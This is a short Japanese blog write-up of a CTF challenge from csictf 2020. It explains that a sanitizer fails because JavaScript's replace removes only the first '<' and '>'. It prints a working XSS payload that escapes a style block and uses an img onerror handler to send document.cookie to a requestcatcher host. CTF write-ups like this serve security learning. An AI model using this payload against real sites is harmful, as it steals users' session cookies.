はまやんはまやんはまやん

hamayanhamayan's blog

The Confused Deputy [csictf 2020]

CTFtime.org / csictf 2020 / The Confused Deputy

Wow that's a pretty color!
Don't you think?
Pick your favourite and show it to the admin ton /admin.
http://chall.csivit.com:30256/

http://chall.csivit.com:30256/view
ここでXSSして、
http://chall.csivit.com:30256/admin
で渡して、XSSする。

サニタイズ

function sanitized(content) {
    content = content.replace('<', '').replace('>', '');
    return content;
}

サニタイズとして<と>を削除するような方針をしている。
だが、CSSに突っ込んでいるので、CSSXSSすればよさそう。

解説

さぼって解説を見てしまった。

不十分なreplace

問題はもっと単純で、jsのreplaceは1回しか置き換えないので、それを利用すればいい。
1aukpq - Online JavaScript Interpreter & Debugging Tool - Ideone.com
適当に実験したら、それが分かる。

なので、以下をつっこめばOK。

<>black;}</style></head><body><img src=1 onerror="window.location.href='https://evilman.requestcatcher.com/test?get='+document.cookie">

http://chall.csivit.com:30256/admin
に対して、
URL: http://chall.csivit.com:30256/view
color: <>black;}</style></head><body><img src=1 onerror="window.location.href='https://yourname.requestcatcher.com/test?get='+document.cookie">
とすればフラグGET。